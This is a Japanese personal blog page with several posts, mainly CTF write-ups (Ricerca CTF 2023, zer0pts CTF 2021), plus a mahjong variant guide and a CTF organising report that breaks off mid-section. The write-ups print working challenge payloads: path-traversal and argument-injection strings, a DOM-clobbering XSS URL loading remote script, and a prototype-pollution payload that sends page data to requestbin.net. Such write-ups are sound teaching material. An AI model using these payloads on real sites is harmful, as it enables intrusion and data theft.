博多電光

blog.hkt.sh

Ricerca CTF 2023 Writeup (Cat Café, tinyDB, funnylfi, gatekeeper)

Ricerca CTF 2023 にチーム TSG-graduates で参加し、4位にランクインしました。

2023.ctf.ricsec.co.jp

賞金獲得要件の関係でTSGの非学生でチームを組んで参加したんですが、学生チームのほうは学生1位に入賞し賞金を獲得したそうです。すごい。

全体的に問題のクオリティが高く素晴らしいCTFでした。12時間CTFはほぼ参加したことがなかったんですが、日本のローカルCTFということもあり日中のあいだ参加できて、かなりストレスなく (いつものCTFと同じ感じで) 参加できました。タイムゾーンの問題さえなければすべてのCTFがこうであってほしい⋯⋯。

Cat Café (web warmup, 95pts)

ディレクトリトラバーサル防止のために怪しいreplaceをしているので、../ を消したあとに攻撃が通りそうなものを投げつけるといいです。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

payload: http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

いいwarmupでした。

tinyDB (web, 135pts)

非同期処理めんどくさい!そもそも処理が複雑で何をやっているか理解するのが難しいんですが、ちゃんとよむと、10人以上のユーザーが作成されたときに怪しい処理を実行していることがわかります。

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

JavaScriptのMapはObjectをキーとして使用した場合に参照として機能するので、userDB.setのあとのauth.passwordの更新はuserDBに影響を与えます。

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

この不具合は数秒後にrollbackされて無かったことにされるので、この数秒のうちに admin:******************************** という認証情報を用いてフラグを獲得します。

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

ちょっと問題設定に無理がありましたが、面白い問題でした。

funnylfi (web, 341pts)

与えた文字列がpunycode (正確にはPythonidnaエンコーディング) に変換された上でcurlの引数として与えられ実行されます。フラグはサーバーのローカルファイルにあるのでSSRFして読む必要があります。

ただし、sanitizerによって、ASCII printable な文字のうち英数字と :./ 以外の文字は取り除かれます。

# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
    bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
    for c in url:
        try:
            if c.encode("idna").decode() in bad_chars:
                url = url.replace(c, "")
        except:
            continue
    return url

記号が取り除かれるため、ローカルファイルの読み込み自体は ?url=fi-le:///etc/passwd のようにすることで比較的簡単にできます。しかし、フラグを読み取ろうとすると以下のwafによって弾かれるため、なんからの対策が必要となります。

# WAF
@app.after_request
def waf(response: Response):
    if b"RicSec" in b"".join(response.response):
        return Response("Hi, Hacker !!!!")
    return response

文字列が国際化ドメイン名になる際に xn--[ascii文字]-[非ascii文字をエンコーディングしたもの] という形式に変換されるので、ある程度変な文字列を作ることができます。それに加えて、以下の2点がポイントになりました。

  • Pythonのidnaエンコーディング文字列のNFKC正規化を行います (親切なことに、これは問題文の例で示されています)
    • これを利用し、「|」や「\」などの全角文字を使って変な記号を挿入しようとしてもsanitizerによって弾かれるためうまくいかないのですが、Unicodeには正規化することで複数文字に変換される文字が存在します。
      • U+FDFAあたりが特に有名?
    • 今回は空白を含む文字に正規化されるU+00A8を利用することで、idnaエンコード後の文字列に空白を挿入しました。
  • curlのオプションに -r というオプションが存在し、file://スキームの場合出力されるバイトを範囲で切り取ってくれます。 (こおしいずが教えてくれました)
    • 実験したところ、このオプションは -r1hogehoge のようにゴミ文字列がくっついていても正しく認識されます。
      • ちなみに、このパーサーの挙動はHTTP越しの通信だと確認できませんでした。Rangeヘッダにそのまま渡されちゃうからでしょうか?
    • この挙動を利用し、punycode変換をかけた後に -r1 で始まる文字列に変換される文字をプログラムで探索しました。
      • 今回の場合、U+0261が該当しました。

最終的なpayloadは ?url=¨fi-le:///var/www/flag¨a.hkt.sh/.ɡ¨ となりました。この文字列はエンコードすると xn-- file:///var/www/flag a-nymv.hkt.sh/.xn-- -r1a61c に変換され、ローカルファイルを読みながら1バイト目を切り取って表示してくれます。

RicSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y}

めちゃくちゃ難しくておもしろかったです。問題コードも短くて最終的には気持ちよく解けました。Unicodeの知識が少し生きたかな?

gatekeeper (misc, 200pts)

コードはほぼこれだけです。

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')
  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')
  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())

base64コマンドのbase64パーサは他のパーサと比べてかなり挙動が厳しく、改行文字以外の余分な文字は一切入れられないようです。

ソースコードを注意深く読んでいくと、4バイトごとのチャンクの中に = が入っていても正しくパースされるであろうことが読み取れます。これを利用して b3A=ZW4=IHM=ZXNhbWUh のようなbase64を作ると条件を満たします。

RicSec{b4s364_c4n_c0nt41n_p4ddin6}

シンプルかつストレートなmisc問題で好きです。

dice-vs-kymn (crypto, 500pts)

解けなかった。位数が6となる楕円曲線パラメータを気合で求めるであろうところまでは思い至ったんですが、筋力とsagemath力が足りなかった⋯⋯。

writeupを読んで精進します。

ps converter (web, 393pts)

解く気力が残っていませんでした (は?)。webじゃなくてmiscでは?

「手牌公開・鳴き強制麻雀」のルールと定石紹介

※この記事は TSG Advent Calendar 2021 の3日目の記事です。

博多市です。

今回は最近TSG内で発明され流行している「手牌公開・鳴き強制麻雀」という変則麻雀について紹介します。

ルール

「手牌公開・鳴き強制麻雀」は、名前の通り手牌を全てのプレイヤーに公開した状態で行う麻雀です。

通常の麻雀と違い各プレイヤーが持つ情報に対称性があるため、相手の行動から情報を推測する「読み」よりも、現在の状況からどのように戦略を立てるかが重要になります。鳴き強制のルールにより他家を攻撃することができるため、対人戦略が非常に重要な要素となります。このようにプレイ中の思考が通常の麻雀と大きく異なることから、TSG内では専ら「もはや麻雀ではない」という評判です。

ちなみに、かつてにじさんじで行われていた「鳴き強制麻雀」を知っている方には、これに「手牌公開」のルールを加えたものだと思って差し支えないです。

詳細なルールは以下の通り。

  • 全てのプレイヤーは配牌から流局まで常に手牌を公開する。
  • プレイヤーは、ポンやチーなど、副露できる状態ならば必ず副露しなければいけない。
    • 鳴き方に複数の選択肢がある場合、どのように鳴いてもよい。 (ポン・チー・カンのいずれを選ぶか、どの形でチーするかなどが含まれる)
  • 喰い替えは禁止。
    • 喰い替えしかできない局面では鳴き強制のルールは適用されない。(2344所持で上家に1が切られた場合など)
  • 暗槓・加槓も同様。カンできる状態ならば常にカンをしないといけない。
    • 明槓の場合、カンをするかポンをするか選ぶことができるが、強制加槓のルールがあるので多くの場合一巡後には加槓することになる。
  • 栄和も同様。ロンできる状態ならば常にロンしないといけない。
    • その他の鳴きができる場合はそれを選んでもよい。
  • 手牌が鳴ける状態なのに適切に鳴かなかった場合、錯和となる。
    • 雀魂使用時はアガリ放棄、対面なら満貫払い程度が適当かと
  • 喰いタンあり。
  • その他のルールは通常の麻雀のルールに準じる。

定石集

以下では実際に対局中に発見されたこの麻雀における定石のようなものを紹介します。先ほど述べた通り、この麻雀には特定のプレイヤーに妨害を与える「攻撃」と、妨害を受けないようにするための「守備」の2つの技が存在します。

攻撃編

喰い替え禁止による聴牌崩し

この麻雀における攻撃とは、鳴き強制のルールを利用して自分の捨て牌を他家に鳴かせることにより、相手の手牌の向聴を戻す、あるいは役を崩させる行為が中心となります。このとき重要になってくるのが通常の麻雀にもある喰い替え禁止のルールです。

f:id:hakatashi:20220102070910p:plain

上の画像の局面では、下家が嵌五索で聴牌しておりロンできる状態です。打点も高く、なるべくなら和了らせたくないところです。

この状態で自家が六筒を切ると、下家はチーできる状態なので必ずチーしないといけなくなります。チーしたあと、下家は聴牌が取れるよう六筒を切りたくなりますが、この六筒は今鳴いた牌なので喰い替え禁止により切ることができません。下家は聴牌を崩すことを余儀なくされ、手が大きく後退します。このように相手の完成された面子に対して鳴ける牌を放り込むことによって相手の手を崩すことができるのがこの麻雀における基本的な攻撃手法になります。

喰い替え禁止による強制放銃

f:id:hakatashi:20211230075505p:plain

より攻撃的なパターンもあります。この局面では上家の当たり牌を下家が握っています。このような場面では、567筒のいずれかを自家の河に投げ込むことで下家は一筒を切る以外の選択がなくなり、強制的に放銃させることができます。「差し込み」ならぬ「差し込ませ」といったところでしょうか。

攻撃と防御のバランスをどう取るかにもよりますが、このように自分の手牌が短い時に他の人の当たり牌を握ってしまった時には、敢えて面子を崩しておくなどの対策が必要な場合もあります。

防御編

四槓流れを用いた強制流局

f:id:hakatashi:20211230075308p:plain

鳴きが多く発生するこの鳴き強制麻雀においては、四槓流れが非常に多く発生します。

自分の手牌がどうやっても和了れない状態になったら、暗刻を持っているプレイヤーにその牌を差し込んで強制的に流局させることができます。逆に言えば、自分の手が仕上がっている時に迂闊にこのような牌を切って流局にならないよう気をつける必要があります。

基本役

この麻雀では鳴きがポンポンと飛び交うので、通常の麻雀における「門前で仕上げて立直」という基本戦術は使えません。基本的には門前を放棄しても成立する役を作り、ドラで攻撃力を嵩増ししてツモるのが大まかな方針となります。

このゲームにおける基本的な和了形には、「タンヤオ型」「染め手型」「役牌型」の三種類が存在します。

タンヤオ

f:id:hakatashi:20211230225653p:plain

この手牌公開・鳴き強制麻雀において、現在のところ最もスタンダードな和了り方が喰いタンです。

副露しても和了れる最も手軽な役ということで、このゲームの初心者にとっては最初に目指すべき手作りと言えるでしょう。このゲームでは安牌などを気にする必要はないので、最初に么九牌を落としてしまい、役を確定させながら進めていくのが基本戦略となります。打点は少ないですが、ドラが交じると満貫くらいまでは和了れるかもしれません。

タンヤオ破壊

このように手組みしやすいタンヤオですが、攻撃するのも比較的簡単です。特に序盤の么九牌がまだ整理できていない状態で么九牌を投げ込むことで強制的にタンヤオ和了れなくすることができます。

f:id:hakatashi:20220123074133p:plain

上の状況では下家が78索を手牌に抱えており、自家は九索を投げ込むことで下家の手牌を破壊できます。下家はチーした後に和了れそうな役がほぼないので、大きなハンデを負うことになります。

タンヤオ破壊に対する防衛術

このようにタンヤオ和了りに行くと基本的に他のプレイヤーの妨害を受けるため、プレイヤーは常に闇のタンヤオ破壊に対する防衛として、手牌を破壊されない形に保つことが重要です。

例えば12筒、23筒、13筒、123筒などのように端牌が絡んだ塔子を抱えていると、上家からの強制チーによって手牌が破壊されてしまいます。なのでタンヤオを狙いに行く場合は序盤はこの形をなるべく嫌って、たとえ向聴を戻してでも河に流していくのが基本戦術となります (上家の手牌を確認して破壊されそうなものを優先して落としていきましょう)。

f:id:hakatashi:20211230224742p:plain

ただし、画像のように124や134といった鳴き方を選べる形になっている場合は落とす必要はありません。

染め手形

f:id:hakatashi:20211230232123p:plain

染め手は序盤の立ち回りが難しいですが、一度染まってしまえば防御力はピカイチです。限られた色の中ならどんな形でもキープすることができ、有効牌をめいいっぱい広く取ることができます。

ただし、通常の麻雀と同じく鳴きの入った混一色 (いわゆる「バカホン」) は決して攻撃力が高くないので、なるべくならドラや役牌などを絡めて手牌を固めたいところです。

役牌型

f:id:hakatashi:20211230224452p:plain

役牌の後付け、あるいは後々付けを期待して手牌を進める戦法です。他の戦術のように数牌の形や色に制約がないため数牌を自由に手作りできるのが特徴です。

ポンしてうまく役を確定できれば強い戦術ですが、特に上級者同士の対局では対子になっている役牌を他家に止められる可能性が高いため、どちらかというと防御気味に構えた戦法といえるかもしれません (このゲームでは和了率が通常の麻雀よりも低いので、他人が対子で持っている役牌をツモったときには、多くの場合抱えてしまったほうがよいです)。

役牌が暗刻になったらラッキー。残りは普通に麻雀すれば勝てます。

役牌崩し

f:id:hakatashi:20211230080423p:plain

誰かが役牌を対子で抱えている場合、他家は攻撃として強制四面子による役牌崩しを発動することができます。

役牌が重ならないまま四面子目を鳴きで作らされた場合、役牌で刻子を作れなくなるため、役が消失します。これを発動されると裸単騎になって攻撃力も防御力も激減するため、なにかしら (可能な限り別の役を作っておくなどして) 対策したいところです。

その他の役

  • 嶺上開花・海底撈月: 強制鳴きによって役がなくなってしまった人たちが最後に頼る偶発役です。カン材も海底ツモもない場合は完全に詰みです。
  • 搶槓: 基本的には偶発役ですが、自分が役なしの和了り形を完成させた時に他家の暗刻牌を切って、相手がなにかの間違いでポンしてしまったら和了れるかもしれません。
  • 対々和: 基本役に準ずる強力な役です。配牌に対子が多い場合は検討してもいいでしょう。強制チーによる妨害を防止するために手牌から塔子を落としておくのを忘れないようにしましょう。
  • チャンタ: 原則として他家はタンヤオ妨害のために么九牌を鳴かせようとしてくるため、それを逆手に取ってチャンタ和了ることもできます。ただしタンヤオと同じく妨害されやすいので手牌の形には注意しましょう。
  • 一気通貫三色同順: 強制チーで壊されるので、狙って作るのは難しいでしょう。作れたらラッキー、くらいに思うのがよいです。

ルールの改良案

飜数の見直し

このルールにおいて、平和・立直・一盃口など門前でしか成立しない手は非常にレアです。特に七対子は強制ポンによって全方位から集中攻撃を受けるため、TSG内では「成立したら実質役満」との呼び声も高いです。

なので鳴き強制麻雀では門前役に対する何かしらのボーナスをつける、あるいは一盃口などの役を鳴いても和了れるようにするなどの修正が必要かと思います。

放銃に対するペナルティの強化

このルールでは他家の手牌が全て見えているので、基本的に放銃は起こりません。このため当たり牌を握ったままどのように手作りをするか、あるいはどのように他家に強制的に放銃させるかという戦略が重要になります。逆に言うと放銃することに対する何かしらの罰則や罰符を設けることも考えられると思います。また、差し込み防止の観点からも、オープンリーチに対する放銃と同様に放銃のペナルティを強化するのが適当かと思われます。

十二落拾の採用

十二落拾は裸単騎を1飜役として認めるローカルルールです (雀魂にもローカルルールとして採用されています)。このゲームでは強制鳴きによってどうしても役が作れなくなった場合ほぼ確実に和了れなくなるため、そのような人に対する救済として採用してもいいかもしれません。これによって「鳴き込みで成立する役を目指す」という基本戦略が必要なくなるためゲーム性が大きく変わることになりますが、これはこれで別の戦略が発生するので面白いかと思います (四副露目は鳴かせない戦略を取るなど)。

三人麻雀

プレイしたことはないですが、三人麻雀で同様のルールを試しても面白いかもしれません。チーがないぶん攻撃の手数が少なくなるので、おそらくより手組みがしやすいルールになるのではないかと思われます。

TSG CTF 2021 作問感想

開催記はゆっくり書きますが、とりあえず一言ずつ。

Beginner's Web (Web, 500pts)

本当にすみませんでした

いや、実はあまり反省してないです。とはいえもうちょっと解かれるかな~と思ってました。

Beginnerかどうかと難易度が高いかどうかは別の軸であることは以前の開催記で触れたとおりですが、この問題により実際に「beginner hard」というジャンルが存在しうることを示せました (ほんまか)。

ちなみにWriteupにも書いたんですがガチCTF未経験者のTSG部員の1人がこの問題を3時間で解いてたので、かなり自信を持ってBeginnerとして出したんですが、実際には彼が天才なだけでした。どうしてこんなことに⋯⋯。

想定解は公式Writeupのとおりです。スマホでも解けます。

Welcome to TSG CTF! (Web, 100pts)

実は今回は開催一週間くらい前にTSGの部員を大量に集めて問題を解いてもらうレビュー会を行ったんですが、その最中に「Beginner's Web が難しすぎる」というフィードバックをもらったので急遽作成しました。

Beginner's Web が難しいのはある程度想定通りだったんですが、「解ける問題があるほうが満足度が高いだろう」ということでガチャガチャいじるだけでも解ける問題にしました。ソースコードがWeb問題史上最短くらいの長さで気に入ってます。

Giita (Web, 500pts)

これも 0 solves なのおかしくないですか? おかしいね

想定解は公式Writeupのとおりです。最近のWeberの嗜みとしてDOMPurifyのソースコードを読んでたときに思いついたんですが、最初に return dirty っていう一文を見つけたときはかなり目を疑いました。

これを問題にする過程で Prototype Pollution を使えばいいっていうのは@kcz146に考えてもらいました。

Beginner's Crypto (Crypto, 126pts)

出オチ。

3つ子素数関連の話は知ってる人は知ってるだろうし、そうでなくてもこの問題を解く過程で絶対ググると思うので解けるという想定でした。かなりいい感じに解かれて嬉しいです。

ちなみに@naan4UGeenはファイルを開いた瞬間に解法がわかったらしいです。

Baba is Flag (Crypto, 162pts)

ECDSAを勉強した際にxというパラメーターを注入する必要があることが不思議だったので、試しに消してみたら脆弱になりました。

問題文にある Baba is You のステージはもうちょっと非自明なステージにしたかったんですがBaba力が足りなくて無理でした。

Flag is Win (Crypto, 278pts)

SECCON 2020 で出題した This is RSA の焼き直しです。今度はちゃんと格子を使ってあげる必要があります。

Coppersmith's Attack が可能になる条件の1つに「素数pの連続しないビット列が既知で、その長さがp全体の69.4%以上」というものがあるのですが、これを使ってる問題を見たことがないな~と思って以前からアイデアを温めてたので上の問題にミックスしました。solve数もわりと想定どおりです。

This is DSA (Crypto, 290pts)

Cryptoのボス問なんですが、それにしてはちょっと弱かったかな~って感じです。

想定解は無駄にp進数とか使ってゴリ押しで解いてるので公開するのが恥ずかしいです。

ちなみに利用したpycryptodomeのバグはすでにプルリクを送ってます以前送ったプルリクとあわせてマージしてほしいな~。

Advanced Fisher (Misc, 365pts)

実はFisherを出した段階から考えてました。ちょっと数字を変えただけで全然違う問題になるのが面白いですね。

Lumberjackシリーズ (PPC)

正確にはAuthorじゃないですがかなりのパートで@naan4UGenと共作したので書いておきます。

実は去年の TSG CTF の作問中に「グラハム数の下からN桁目を求めよ (N < 1e100)」という問題を思いついたんですがどうしても解けず、「なんで解けないのか?」という理由をゴリゴリと詰めていったらこの問題ができました。BBPアルゴリズム、本当に賢いです。

againstは格子を使ったすごいWriteupが上がってますが実は非想定です。想定解はもうちょっとゴリゴリと論理的に詰めていきます。

zer0pts CTF 2021 writeup (OT OR NOT OT, Not Mordell Primes, Tokyo Network, Simple Blog, PDF Generator)

先週末に zer0pts CTF 2021 があり、TSGは7位でした。

いずれも解きごたえのある難問ばかりでめちゃくちゃ楽しかったです。web warmup で温まらなかったことを除いて完璧なCTFでした。開催していただいてありがとうございます。

hakatashiは以下の問題を解きました (部分的な貢献を含む)。

  • OT OR NOT OT (Crypto, 116pts)
  • Not Mordell Primes (Crypto, 209pts)
  • Tokyo Network (Misc, 340pts)
  • Simple Blog (Web, 192pts)
  • PDF Generator (Web, 214pts)

Writeupを書こうかと思ったけどめんどくさいのでチーム内のメモをそのまま公開します。

OT OR NOT OT (Crypto, 116pts)

pはgetStrongPrimeで取得されるけど安全素数ではない (cf. Tokyo Westerns CTF 2020: The Melancholy of Alice) ので位数の小さい元をもちうる。そのような値 (特に\sqrt{-1}\bmod p) を探して投げるととりうる値の候補が少なくなるので嬉しくなり、解ける。

問題概要

  • 256bitの整数kを当てる
  • pを1024bitの素数とする (与えられる)
  • kを下から2bitずつ見て、隣り合うビット b_1, b_2 \in \{0,1\} に対して以下の処理が行われる
    • 以下、すべて F_p 上の演算
    • r,s,t をランダムな整数とする
      • ここで t を得られる
    • ユーザーは相異なる2以上の任意の整数 a,b,c,d を与える
    • 以下の3つの値を得られる
      • x=(a^ rc^ s)\oplus b_1
      • y=(b^ rc^ s)\oplus b_2
      • z=d^ rt^ s
    • b_1,b_2 を当てたい

ナン「p-1が小さい因数kを持つ場合、a^ k\equiv 1\mod pなるaを取ると嬉しくなる」
ナン「たとえばもしx^ 2\equiv p-1\bmod pなるxが存在すれば、c\equiv p-1,a=x,b=-xとすると嬉しい」
ナン「なぜなら、こうするとa^ rc^ sb^ rc^ s\pm1,\pm xしか取らないため」
博多市「天才」

ナン「\displaystyle{
p\equiv1\bmod4\iff{}^ \exists x.\,x^ 2\equiv-1\bmod p
} のはず」
博多市「フムー」
ナン「そのようなxを取るのが難しそうだなあ」
博多市「sageでできますよ」
ナン「すごい」

博多市「解けました」
ナン「結局t,d,zはどう使うはずだったんだろう」

ソルバ: https://gist.github.com/hakatashi/4585794687bde86f39e39d43a68bc7c3

zer0pts{H41131uj4h_H41131uj4h}

Not Mordell Primes (Crypto, 209pts)

自明の式変形をしたら解けた。

問題概要

以下のパラメーターの楕円曲線が与えられる。

p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073
a = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241
b = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177
Gx = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980
Gy = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991
  • P = kG
  • Q = (k+1)G

つまり Q=P+G である。kは与えられない。

ここで P_x,Q_x素数であることが保証されている。これをp,qとしたときのRSAでフラグを暗号化したものが与えられる (given: N,c)。

ナン「Q_x=\left(\dfrac{G_y-P_y}{G_x-P_x}\right)^ 2-P_x-G_xにゃんかにゃ」

楕円曲線y^ 2=x^ 3+ax+b なので

y=\mathrm {sqrt}(x^ 3+ax+b)\bmod p

ナン「フムー」
ナン「Q_x=\left(\dfrac{G_y-\sqrt{P_x^ 3+aP_x+b}}{G_x-P_x}\right)^ 2-P_x-G_xおよびN=P_xQ_xが与えられるため、P_x,Q_xを求められるか?」
ナン「Q_xを消去すると」
N\equiv P_x\left\{\left(\dfrac{G_y-\sqrt{P_x^ 3+aP_x+b}}{G_x-P_x}\right)^ 2-P_x-G_x\right\}\mod p
整理して
\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2\equiv\left(G_y-\sqrt{P_x^ 3+aP_x+b}\right)^ 2
\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2\equiv G_y^ 2-2G_y\sqrt{P_x^ 3+aP_x+b}+P_x^ 3+aP_x+b
2G_y\sqrt{P_x^ 3+aP_x+b}\equiv G_y^ 2+P_x^ 3+aP_x+b-\left(\dfrac{N}{P_x}+P_x+G_x\right)(G_x-P_x)^ 2
4G_y^ 2P_x^ 2(P_x^ 3+aP_x+b)\equiv\left\{G_y^ 2P_x+P_x^ 4+aP_x^ 2+bP_x-\left(N+P_x^ 2+G_xP_x\right)(G_x-P_x)^ 2\right\}^ 2
博多市「すごい」
ナン「汚い式だなあ」
博多市「sageで解けますよ」
ナン「すごい」

博多市「解けました」
ナン「すごい」

ソルバ: https://gist.github.com/hakatashi/7d5f4dfe1ddc417a3bbe00ae737aa6ad

問題出た瞬間に解いてたら確実に First Blood いけてたと思う。悔しい。

zer0pts{7h4nk_y0u_j4ck_7h4nk_y0u_cr0wn}

Tokyo Network (Misc, 340pts)

与えられた回路に量子エラー訂正を適用することでノイズを取り除くことができる。組む回路によっていくつかとりうる情報が考えうるのであとは論理パズル。

問題整理

860bitの一様ランダムなビット列 ra と、やや0に偏った (p≒0.587) ビット列 ba がある。

まず、量子計算を行ってビットごとに1ビットの結果を得ることができる。現状思いついている操作は以下の通り。

  • baにかかわらずraを\cos^ 2(\pi/8)=\frac{2+\sqrt{2}}{4}\approx0.8536の確率で正しく得る、そうでないときは逆の値を得る
  • baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
  • baが1ならばraを確実に得る、0ならば一様ランダムな値を得る

以上をビットごとに切り替えることができる。情報はすべてのビットに関して処理を行ったあと、一括で得られる。

この上で、ユーザーは860bitのビット列bbを与える。bbは以下の条件を満たしている必要がある。

  • baとbbがともに1であるようなビット (=Nx) の数が126以上
  • baとbbがともに0であるようなビット (=Nz) の数が255以上

この操作のあと、Nzから128ビットがランダムに選ばれる。これをkとする。

その後、以下の情報が得られる。

  • ba
  • baとbbとraがすべて1であるようなビットの位置
  • Nzのうちkに選ばれなかったビットの位置

最後に、raをkでマスクしたものを鍵として、フラグを暗号化したものが与えられる。

ゲートの構成法

(Written by @azaika)

量子エラー訂正については https://en.wikipedia.org/wiki/Quantum_error_correction#Shor_codehttps://en.wikipedia.org/wiki/Toffoli_gate#Related_logic_gates を組み合わせれば OK。 CCNOT x,y,z を以下で定める

H z;    CNOT y,z;
TDAG z; CNOT x,z;
T z;    CNOT y,z;
TDAG z; CNOT x,z;
T y; T z;
CNOT x,y; H z;
T x; TDAG y;
CNOT x,y;

これを用いて量子エラー訂正のデコードパートは

CNOT 0,1; CNOT 0,2;
CCNOT 1,2,0;
CNOT 3,4; CNOT 3,5;
CCNOT 4,5,3;
CNOT 6,7; CNOT 6,8;
CCNOT 7,8,6;
H 0; H 3; H 6;
CNOT 0,3; CNOT 0,6;
CCNOT 3,6,0;

と表せる。

その後の ba と ra についての操作は以下の通り。

  • baにかかわらずraを\cos^ 2(\pi/8)の確率で正しく得る、そうでないときは逆の値を得る
    • エラー訂正後 SDAG 0; H 0; T 0; H 0; S 0; H 0;
  • baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
    • エラー訂正だけで良い
  • baが1ならばraを確実に得る、0ならば一様ランダムな値を得る
    • エラー訂正後 H 0

解法

ナン「0 と 1 を 255 : 126 の割合でランダムに入れた列 bb を使い、全 bit について「baが0ならばraを確実に得る、1ならば一様ランダムな値を得る」とする。
全部の後で ba が 0 なる bit については ra がわかっているので、マスク後に残る bit についてすべて判明している」

zer0pts{Sh0r_c0d3+BB84_QKB=5t1ll_53cur3?}

ソルバ: https://gist.github.com/hakatashi/5e9a64c42493a33425605cfde4deecf3

Simple Blog (Web, 192pts)

DOM Clobbering でcallbackオプションを突っ込むことができる。このままだとtrustedTypesがURL読み込みを検知して停止してしまうが、Firefoxではpolyfillが動いているので同じく DOM Clobbering で事前にtrustedTypesを定義してあげることでpolyfill読み込みを回避できる。あとは20文字制限にかからないようにJSゴルフをするのだが、都合よくjsonp関数が使えるので、三度 DOM Clobbering で定義してあげたURLをわたしてあげると勝ち。

dynamic import 使えるの知らなかった⋯⋯。

最終ペイロード:

http://web.ctf.zer0pts.com:8003/?theme=%22%3E%3Cform%20id%3D%22trustedTypes%22%3E%3Cinput%20name%3D%22defaultPolicy%22%20value%3D%221%22%3E%3C%2Fform%3E%3Ca%20id%3D%22title%22%20href%3D%22https%3A%2F%2Fhakatashi.com%2Fxss.js%3Ffuga%22%3E%3C%2Fa%3E%3Ca%20id%3D%22callback%22%20href%3D%22a%3Ajsonp(title)%3B%22%20b%3D%22

zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}

PDF Generator (Web, 214pts)

@kcz146にbundle.jsを渡すと prototype pollution を見つけてくれるので悪用する。Vue.jsが明らかに怪しいので Vue 2 であることを確認したあと適当にハックしてevalする。ページが読み込まれたあとPDFが読み込まれると削除されてしまうので間に合わないように見えるが、embedされたページはDOMContentLoadedイベントのあと削除されるのでその前にembedを消せば間に合う。あとはがんばる。

あと一時間あればたぶん Not PDF Generator も解けたので悔しい。

最終ペイロード:

https://pdfgen.ctf.zer0pts.com:8443/text?a[b[__proto__[model[value=this.constructor.constructor(%27u%3Ddocument.getElementsByTagName(%22embed%22)%5B0%5D.src%3Bdocument.body.removeChild(document.getElementsByTagName(%22embed%22)%5B0%5D)%3Blocation.href%3D%22http%3A%2F%2Frequestbin.net%2Fr%2F4hg9abge%2F%22%2Bu%27)()&text=hoge

zer0pts{4fraid_of_unintended)_D0nt_w4nn4_l3ak_1nf0_about_s0lut1on}

TSG CTF 2020 開催記

※このエントリは TSG Advent Calendar 2020 の1日目の記事です。

博多市です。

今年の7月11日から12日にかけて、東京大学のサークルTSGの主催により、TSG CTF 2020 が開催されました。

昨年5月に行われた TSG CTF に次いで、TSGとして2度目のCTF開催となります。わたくし博多市は今回も全体の進行を司るなど、主催に際して実質的にリーダー的役割を果たしました。

なんとなく開催記を書くのを後回しにしてたんですが、前回の開催記が異様に好評なのもあってゆっくり思い出しながら Advent Calendar のタイミングで出すことにしました。よろしくお願いします。

CTFを開催するという点での大まかな知見は前回の記事に詳しく書いてあるので、今回は新たに得られた知見についてなるべく詳しく書いていこうと思います。

TL;DR

  • CTFを主催するのは、大変だけど、楽しい!

前回からのアップデート

開催時期について

前回の開催記にも書きましたが、CTFを計画する上で一番難しいのは日程選びです。我々のような弱小CTFにおいては他の大きなCTFと日程がかぶらないことはより多くの参加者を募るという点で非常に重要です。昨年の TSG CTF は5月上旬に開催しましたが、今年は作問メンバーが忙しくなる時期などを考慮して6月下旬をターゲットにしようと2月頃には決定していました。そこで当時CTFTime上で予定の空いていた6/27から6/28を開催予定日として、CTFTime上で予定登録し他のCTFとかぶらないように早めに予定登録をしていました。

ところが開催予定日1ヶ月前の5月下旬になって事件が発生します。世界的に有名なCTF大会である0CTFが TSG CTF とまるまるかぶる日程で予定を突っ込んできました。これはTSGとしてもかなり望ましくない事態なのでTSG一同大慌てしたのですが、最終的に0CTFやスポンサーともコンタクトを取った結果、TSG CTF の開催を2週間後の他のCTFがやや空いている時間帯に移動させることにしました。日程変更に伴う混乱は多少ありましたが、結果的に参加者数は前回よりも増えたので、移動させたこと自体は悪い判断ではなかったと思います。

ちなみにCTFTime上で開催時間を変更する操作ができないのが懸念点の一つでしたが、連絡したらすぐにデータを修正してくれました。神対応。(ちなみにCTFTimeはSECCONに対しては塩対応だったので結構気分によるんだと思います)

教訓として、どれだけ早めに予定を入れていても、スケジュールがかぶるときはかぶります。というか、近年は開催されるCTFの数自体が増えているのか、他とかぶらない日程を探すことがそもそも難しくなりつつあります。最近はそういうことをあまり気にしすぎるのも良くないのかなと思い始めています。

リリーススケジュールの事前公開

